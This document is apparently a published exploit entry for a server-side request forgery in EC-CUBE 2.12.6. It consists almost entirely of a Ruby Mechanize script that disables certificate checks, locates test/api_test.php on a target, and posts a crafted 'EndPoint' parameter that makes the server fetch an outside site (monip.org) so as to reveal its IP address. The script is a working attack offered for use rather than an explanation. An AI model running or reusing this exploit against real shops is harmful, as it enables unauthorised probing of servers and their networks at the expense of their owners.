EC-CUBE 2.12.6 Server-Side Request Forgery

`# Exploit Title: EC-CUBE 2.12.6 Server-Side Request Forgery  
# Date: 22/10/16  
# Exploit Author: Wad Deek  
# Vendor Homepage: http://en.ec-cube.net/  
# Software Link: http://en.ec-cube.net/download/  
# Version: 2.12.6en-p1  
# Tested on: Xampp on Windows7  
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools  
##  
##  
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
require('mechanize')  
agent = Mechanize.new()  
agent.read_timeout = 3  
agent.open_timeout = 3  
agent.keep_alive = false  
agent.redirect_ok = true  
agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE  
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
#===========================  
urls = <<URLS  
http://localhost/eccube/  
URLS  
urls.split("\n").each() do |url|  
#===========================  
#{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{  
def get(agent, target)  
begin  
response = agent.get(target)  
code = response.code()  
body = response.body()  
rescue  
else  
return code, body  
end  
end  
#{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{  
#}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}  
target = url+"test/api_test.php"  
code, body = get(agent, target)  
if(code == "200" && body.include?("EC-CUBE API TEST") == true)  
begin  
response = agent.post(  
target,  
{  
"AccessKeyId" => 4111111111111111,  
"arg_key0" => 1,  
"arg_key1" => 1,  
"arg_key2" => 1,  
"arg_key3" => 1,  
"arg_key4" => 1,  
"arg_key5" => 1,  
"arg_key6" => 1,  
"arg_key7" => 1,  
"arg_key8" => 1,  
"arg_key9" => 1,  
"arg_val0" => 1,  
"arg_val1" => 1,  
"arg_val2" => 1,  
"arg_val3" => 1,  
"arg_val4" => 1,  
"arg_val5" => 1,  
"arg_val6" => 1,  
"arg_val7" => 1,  
"arg_val8" => 1,  
"arg_val9" => 1,  
#????????????????????????????????????????????????????????????  
"EndPoint" => "http://www.monip.org/index.php"+"?.jpg",  
#????????????????????????????????????????????????????????????  
"mode=" => "",  
"Operation" => 1,  
"SecretKey" => 1,  
"Service" => 1,  
"Signature" => 1,  
"Timestamp" => 1,  
"type" => "index.php"  
})  
body = response.body()  
rescue  
else  
ip = response.body().scan(/IP : (.+?)</).join()  
puts("[+] "+target+" >>>> monip.org >>>> "+ip)  
end  
end  
#}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}  
#===========================  
end  
#===========================  
  
  
`